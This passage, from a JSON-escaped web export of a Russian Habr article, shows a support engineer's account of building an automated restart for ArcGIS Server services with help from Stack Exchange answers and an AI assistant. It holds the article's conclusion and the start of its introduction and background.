\u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u0435 \u0438 \u0432\u0440\u0435\u0434\u043d\u044b\u0435 \u0441\u043e\u0432\u0435\u0442\u044b \u2013 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 2023 \u0433\u043e\u0434\u0430, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0442\u0430\u043a \u0438 \u0431\u044b\u043b\u043e. \u0421\u0435\u0439\u0447\u0430\u0441, \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 2024 \u0433\u043e\u0434\u0430, AI \u043c\u043e\u0436\u0435\u0442 \u0441\u0442\u0430\u0442\u044c \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u043c \u043f\u043e\u043c\u043e\u0449\u043d\u0438\u043a\u043e\u043c \u0434\u043b\u044f \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u044f \u2013 \u0438\u043c\u0435\u044e\u0449\u0438\u0445 \u043a\u043e\u043c\u043f\u0435\u0442\u0435\u043d\u0446\u0438\u0438 \u0432 \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u043e\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438, \u043d\u043e \u043d\u0435 \u0438\u043c\u0435\u044e\u0449\u0438\u0445 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0433\u043e \u043e\u043f\u044b\u0442\u0430 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0435.<\/p>\n<h3>\u041a\u043e\u043d\u0435\u0446<\/h3>\n<p>\u041d\u0430 \u044d\u0442\u043e\u043c \u044f \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u044e \u044d\u0442\u0443 \u0441\u0442\u0430\u0442\u044c\u044e, \u0446\u0435\u043b\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0431\u044b\u043b\u043e \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043f\u043e\u0438\u0441\u043a\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0432\u0441\u0435\u043c\u0438 \u043f\u043e\u0434\u0440\u0443\u0447\u043d\u044b\u043c\u0438 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430\u043c\u0438, \u043a\u0430\u043a\u0438\u0435 \u0443 \u043c\u0435\u043d\u044f \u0431\u044b\u043b\u0438. \u0423 \u043c\u0435\u043d\u044f \u0435\u0441\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 ArcGis API for Python \u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a cmdline, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u043c\u043d\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c\u0438 ArcGis Server \u0442\u0430\u043a, \u043a\u0430\u043a \u044d\u0442\u043e\u0433\u043e \u0431\u0443\u0434\u0435\u0442 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u0442\u044c \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f.\u00a0\u00a0<\/p>\n<p>\u0427\u0435\u0441\u0442\u043d\u043e \u0433\u043e\u0432\u043e\u0440\u044f, \u0438\u0434\u0435\u0438 \u0438 \u0438\u0445 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0435\u0439\u0447\u0430\u0441 \u0443 \u043c\u0435\u043d\u044f \u0432 \u0433\u043e\u043b\u043e\u0432\u0435, \u0442\u044f\u043d\u0443\u0442 \u0443\u0436\u0435 \u043d\u0435 \u043d\u0430 \u0441\u043a\u0440\u0438\u043f\u0442, \u0430 \u043d\u0430 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435: \u0441 \u043b\u043e\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c, \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u043e\u0439 \u043e\u0442\u0447\u0451\u0442\u043e\u0432 \u043f\u043e \u043f\u043e\u0447\u0442\u0435 \u043a\u043e\u043b\u043b\u0435\u0433\u0430\u043c, \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 GUI \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u0442\u043e\u0433\u043e \u0438 \u0431\u044b\u0441\u0442\u0440\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u043a\u0443 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 ArcGis \u0434\u043b\u044f \u043a\u043e\u043b\u043b\u0435\u0433, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0438\u043c\u0435\u044e\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a task manager \u0438\u043b\u0438 \u043d\u0435 \u0438\u043c\u0435\u044e\u0442 \u043a\u043e\u043c\u043f\u0435\u0442\u0435\u043d\u0446\u0438\u0439 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u043f\u0435\u0447\u0430\u0442\u0438 Printing tools \u0438\u0437 \u043c\u0435\u043d\u044e ArcGis for Desktop \u0438 \u0442. \u0434.<\/p>\n<p>\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u044d\u0442\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0442\u044f\u043d\u0435\u0442 \u043d\u0430 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u0441\u0442\u0430\u0442\u044c\u044e.\u00a0<\/p>\n<p>\u0421\u043f\u0430\u0441\u0438\u0431\u043e \u0432\u0441\u0435\u043c \u0434\u043e\u0447\u0438\u0442\u0430\u0432\u0448\u0438\u043c \u0434\u043e \u043a\u043e\u043d\u0446\u0430. \u041d\u0430\u0434\u0435\u044e\u0441\u044c, \u0441\u0442\u0430\u0442\u044c\u044f \u0431\u044b\u043b\u0430 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439.<\/p>\n<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/795289\/\"> https:\/\/habr.com\/ru\/articles\/795289\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>\u0421\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u0438 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u0434\u043e\u043b\u0436\u043d\u044b \u0443\u043c\u0435\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u041f\u043e\u044d\u0442\u043e\u043c\u0443, \u043a\u043e\u0433\u0434\u0430 \u043d\u0430 \u0440\u0430\u0431\u043e\u0442\u0435 \u043d\u0430\u043c \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u044e \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0441\u043b\u0443\u0436\u0431\u044b ArcGIS Server, \u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 \u0432\u0435\u043d\u0434\u043e\u0440\u0430 ESRI \u043d\u0430 \u0442\u0435\u0440\u0440\u0438\u0442\u043e\u0440\u0438\u0438 \u0420\u0424 \u0443\u0436\u0435 \u0431\u044b\u043b\u043e \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u044f \u0440\u0435\u0448\u0438\u043b \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e. \u0412 \u0441\u0442\u0430\u0442\u044c\u0435 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e, \u043a\u0430\u043a\u043e\u0439 \u043f\u0443\u0442\u044c \u044f \u043f\u0440\u043e\u0448\u0451\u043b \u043f\u043e \u043f\u043e\u0438\u0441\u043a\u0443 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0441\u043e\u0432\u0435\u0442\u043e\u0432 \u0441 gis.stackexchange.com \u0438 AI.<\/p>\n<p>\u0414\u0438\u0441\u043a\u043b\u0435\u0439\u043c\u0435\u0440: \u0432 \u043f\u0440\u043e\u0448\u043b\u043e\u043c\u00a0 \u044f \u0438\u043d\u0436\u0435\u043d\u0435\u0440-\u0433\u0435\u043e\u0434\u0435\u0437\u0438\u0441\u0442, \u043d\u0430\u0447\u0430\u0432\u0448\u0438\u0439 \u0441\u0432\u043e\u0439 \u043f\u0443\u0442\u044c \u0432 \u0418\u0422, \u043f\u0435\u0440\u0435\u0439\u0434\u044f \u043d\u0430 \u0440\u0430\u0431\u043e\u0442\u0443 \u0432\u043e \u0432\u0442\u043e\u0440\u0443\u044e \u043b\u0438\u043d\u0438\u044e \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0413\u0418\u0421 \u04255 \u0432 \u043f\u043e\u0434\u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 X5 Tech. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u043e\u0448\u0443 \u043f\u043e\u043d\u044f\u0442\u044c \u0438 \u043f\u0440\u043e\u0441\u0442\u0438\u0442\u044c \u043c\u043d\u0435 \u0444\u043b\u0451\u0440 \u0434\u0436\u0443\u043d\u0430-\u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0441\u0442\u0430 \u0432 \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435.<\/p>\n<p>\u0413\u0418\u0421 \u04255 \u2014 \u044d\u0442\u043e \u043e\u0434\u0438\u043d \u0438\u0437 \u043d\u0430\u0448\u0438\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f \u0442\u043e\u0440\u0433\u043e\u0432\u044b\u0445 \u0441\u0435\u0442\u0435\u0439 X5 Group (\u201c\u041f\u044f\u0442\u0451\u0440\u043e\u0447\u0435\u043a\u201d, \u201c\u041f\u0435\u0440\u0435\u043a\u0440\u0451\u0441\u0442\u043a\u043e\u0432\u201d \u0438 \u201c\u0427\u0438\u0436\u0438\u043a\u043e\u0432\u201d). \u0415\u0441\u043b\u0438 \u0441\u043e\u0432\u0441\u0435\u043c \u043f\u0440\u043e\u0441\u0442\u043e \u0438 \u043a\u043e\u0440\u043e\u0442\u043a\u043e, \u0442\u043e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043d\u0435\u0433\u043e \u043c\u044b \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u043c \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043b\u043e\u043a\u0430\u0446\u0438\u0438 \u0431\u0443\u0434\u0443\u0449\u0438\u0445 \u043c\u0430\u0433\u0430\u0437\u0438\u043d\u043e\u0432 \u043f\u043e \u0440\u044f\u0434\u0443 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432, \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0438 \u0447\u0435\u0433\u043e \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043e\u0431 \u0438\u0445 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0432 \u0442\u043e\u0439 \u0438\u043b\u0438 \u0438\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0435.<\/p>\n<details class=\"spoiler\">\n<summary>\u0422\u0435\u0440\u043c\u0438\u043d\u044b \u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f<\/summary>\n<div class=\"spoiler__content\">\n<p><a href=\"https:\/\/ru.wikipedia.org\/wiki\/ArcGIS\"><strong><u>ArcGIS<\/u><\/strong><\/a> \u2014 \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0441 \u0433\u0435\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0430\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 ESRI. \u041f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0437\u0435\u043c\u0435\u043b\u044c\u043d\u044b\u0445 \u043a\u0430\u0434\u0430\u0441\u0442\u0440\u043e\u0432, \u0432 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u0437\u0435\u043c\u043b\u0435\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u0443\u0447\u0451\u0442\u0430 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u043d\u0435\u0434\u0432\u0438\u0436\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0438\u0441\u0442\u0435\u043c \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0445 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439, \u0433\u0435\u043e\u0434\u0435\u0437\u0438\u0438 \u0438 \u043d\u0435\u0434\u0440\u043e\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043e\u0431\u043b\u0430\u0441\u0442\u044f\u0445.<\/p>\n<p><a href=\"https:\/\/en.wikipedia.org\/wiki\/ArcGIS_Server\"><strong><u>ArcGIS Server<\/u><\/strong><\/a> \u2013 \u044d\u0442\u043e \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0433\u0435\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b (\u0413\u0418\u0421), \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 Esri. ArcGIS Server \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0413\u0418\u0421 Web-\u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c\u0438, \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438 \u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438. ArcGIS Server \u043e\u0431\u044b\u0447\u043d\u043e \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0441\u0435\u0440\u0432\u0438\u0441-\u043e\u0440\u0438\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b (SOA) \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u0432\u043d\u0435 \u0435\u0451 \u0432 \u0441\u0440\u0435\u0434\u0435 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0432\u044b\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u0439.\u00a0<\/p>\n<p><a href=\"https:\/\/www.esri.com\/arcgis-blog\/products\/arcgis-enterprise\/administration\/shared-instances-arcgis-server-107\/\"><strong><u>ArcSOC (Arcgis Server Object Container)<\/u><\/strong><\/a> \u2013 \u0414\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043a \u0441\u0435\u0440\u0432\u0438\u0441\u0443 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0439 ArcGIS Server \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 (\u0438\u043b\u0438 \u0441\u0435\u0440\u0432\u0435\u0440) \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 Esri ArcSOC. \u041a\u0430\u0436\u0434\u043e\u043c\u0443 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0443 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0441\u0432\u043e\u0439 ArcSOC.exe (\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u2013 \u0441\u0435\u0440\u0432\u0438\u0441 \u0433\u0435\u043e\u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438, \u0434\u043b\u044f \u043d\u0435\u0433\u043e \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u00a0 ArcSOC.exe &#8212; 2). \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u044f \u0437\u0430\u043f\u0440\u043e\u0441 \u043a \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0438\u0441\u0443, \u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f \u0441 ArcGis Server \u0438\u043c\u0435\u043d\u043d\u043e \u0447\u0435\u0440\u0435\u0437 ArcSOC.exe.<\/p>\n<\/div>\n<\/details>\n<h3>\u0421\u0443\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b<\/h3>\n<p>\u041d\u0430\u0441\u0442\u0430\u043b \u043c\u043e\u043c\u0435\u043d\u0442, \u043a\u043e\u0433\u0434\u0430 \u0434\u043b\u044f \u0431\u044b\u0441\u0442\u0440\u043e\u0439 \u043b\u0438\u043a\u0432\u0438\u0434\u0430\u0446\u0438\u0438 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u0441\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u043a \u043a\u0430\u043a \u0441\u0430\u043c\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u044b <a href=\"https:\/\/docs.google.com\/document\/d\/1PS4CzYYiB8hPoxu4sKJcPNXkP8Ak5aHdOoMnmbStHEI\/edit#bookmark=kix.dn1s3xl3on9i\"><u>ArcGIS Server<\/u><\/a>, \u0442\u0430\u043a \u0438 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0430\u043c\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u044b \u043f\u043e \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438, \u043b\u0438\u0431\u043e \u0433\u0440\u0443\u043f\u043f\u0430\u043c\u0438.<\/p>\n<p>\u0421\u0440\u0435\u0434\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u0430 <a href=\"https:\/\/docs.google.com\/document\/d\/1PS4CzYYiB8hPoxu4sKJcPNXkP8Ak5aHdOoMnmbStHEI\/edit#bookmark=kix.j55kn5hmg709\"><u>ArcGIS<\/u><\/a> \u0435\u0441\u0442\u044c <a href=\"https:\/\/www.esri.com\/en-us\/arcgis\/products\/arcgis-monitor\/overview\"><u>ArcGIS Monitor<\/u><\/a>. \u042d\u0442\u043e \u0434\u0430\u0448\u0431\u043e\u0440\u0434, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u0439 \u0440\u044f\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f ArcGIS Server. \u041e\u0434\u043d\u0430\u043a\u043e \u0441\u0440\u0435\u0434\u0438 \u0435\u0433\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u043d\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c ArcGIS Server \u0432 \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u043e\u043c \u0440\u0435\u0436\u0438\u043c\u0435. \u0422\u0430\u043a\u0436\u0435 \u0432 \u0445\u043e\u0434\u0435 \u0442\u0435\u0441\u0442\u043e\u0432 \u043d\u0430 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0431\u044b\u043b\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e, \u0447\u0442\u043e ArcGIS Monitor \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u043d\u043e \u0441 MongoDB \u043e\u0442\u043a\u0443\u0441\u044b\u0432\u0430\u0435\u0442 \u043f\u0440\u0438\u043b\u0438\u0447\u043d\u044b\u0439 \u043a\u0443\u0441\u043e\u043a \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432 \u0441\u0435\u0431\u0435 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b. \u0422\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u0440\u043e\u043d\u044f\u044f \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u044b \u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u041d\u0443 \u0438 \u043d\u0430\u043f\u043e\u0441\u043b\u0435\u0434\u043e\u043a: \u0432\u0432\u0438\u0434\u0443 \u0441\u0430\u043d\u043a\u0446\u0438\u0439 \u0443 \u043c\u0435\u043d\u044f \u043d\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0438 ArcGIS Monitor. \u041e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u0442\u044c \u043f\u0440\u043e \u0438\u043c\u043f\u043e\u0440\u0442\u043e\u0437\u0430\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u0443\u0436\u043d\u0443\u044e \u0443\u0442\u0438\u043b\u0438\u0442\u0443 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e.<\/p>\n<p><em>\u0422\u0443\u0442 \u0441\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u0441 \u0431\u043e\u043b\u044c\u0448\u0435\u0439 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0440\u0430\u0431\u043e\u0442\u0435 \u0413\u0418\u0421-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043c\u043e\u0436\u043d\u043e \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c, \u0435\u0441\u043b\u0438 \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u0442\u044c ArcGIS Monitor \u043d\u0430 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u043c \u043a\u043e\u043d\u0442\u0443\u0440\u0435. \u041d\u043e \u0438\u0434\u0435\u044f \u044d\u0442\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0441\u043e\u043c\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0441 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f \u0437\u0430\u0442\u0440\u0430\u0442 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0435 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0438 \u041e\u0421 \u0434\u043b\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u043b\u0435\u0434\u0438\u0442, \u043b\u043e\u0433\u0438\u0440\u0443\u0435\u0442 \u0438 \u043a\u0438\u0434\u0430\u0435\u0442 \u0432\u0430\u043c \u043d\u0430 \u043f\u043e\u0447\u0442\u0443 \u0430\u043b\u0435\u0440\u0442\u044b.<\/em><\/p>\n<h4>\u0427\u0430\u0441\u0442\u044c 1. \u041d\u0430\u0447\u0430\u043b\u043e \u043f\u043e\u0438\u0441\u043a\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u044f<\/h4>\n<p>\u041f\u0443\u0442\u0451\u043c \u043f\u0440\u043e\u0441\u0442\u043e\u0433\u043e \u0433\u0443\u0433\u043b\u0435\u043d\u0438\u044f \u044f \u043d\u0430\u0448\u0451\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0442\u0440\u0430\u043d\u0438\u0446:<\/p>\n<ol>\n<li>\n<p><a href=\"https:\/\/gis.stackexchange.com\/questions\/17639\/starting-and-stopping-arcgis-server-map-services-using-python\"><u>Starting and stopping ArcGIS Server map services using Python? &#8212; Geographic Information Systems Stack Exchange<\/u><\/a><a href=\"https:\/\/copyprogramming.com\/howto\/starting-and-stopping-arcgis-server-map-services-using-python\">\u00a0<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/copyprogramming.com\/howto\/starting-and-stopping-arcgis-server-map-services-using-python\"><u>https:\/\/copyprogramming.com\/howto\/starting-and-stopping-arcgis-server-map-services-using-python<\/u><\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/gis.stackexchange.com\/questions\/42492\/ogr2ogr-gdal-remove-features-in-filegdb-while-in-use-by-arcgis-server-map-serv?noredirect=1&amp;lq=1\"><u>ogr2ogr \/ GDAL remove features in FileGDB while in use by ArcGIS Server map service &#8212; Geographic Information Systems Stack Exchange<\/u><\/a>\u00a0<\/p>\n<\/li>\n<\/ol>\n<p>\u0412\u0441\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u0442\u0430\u0440\u0430\u044f, 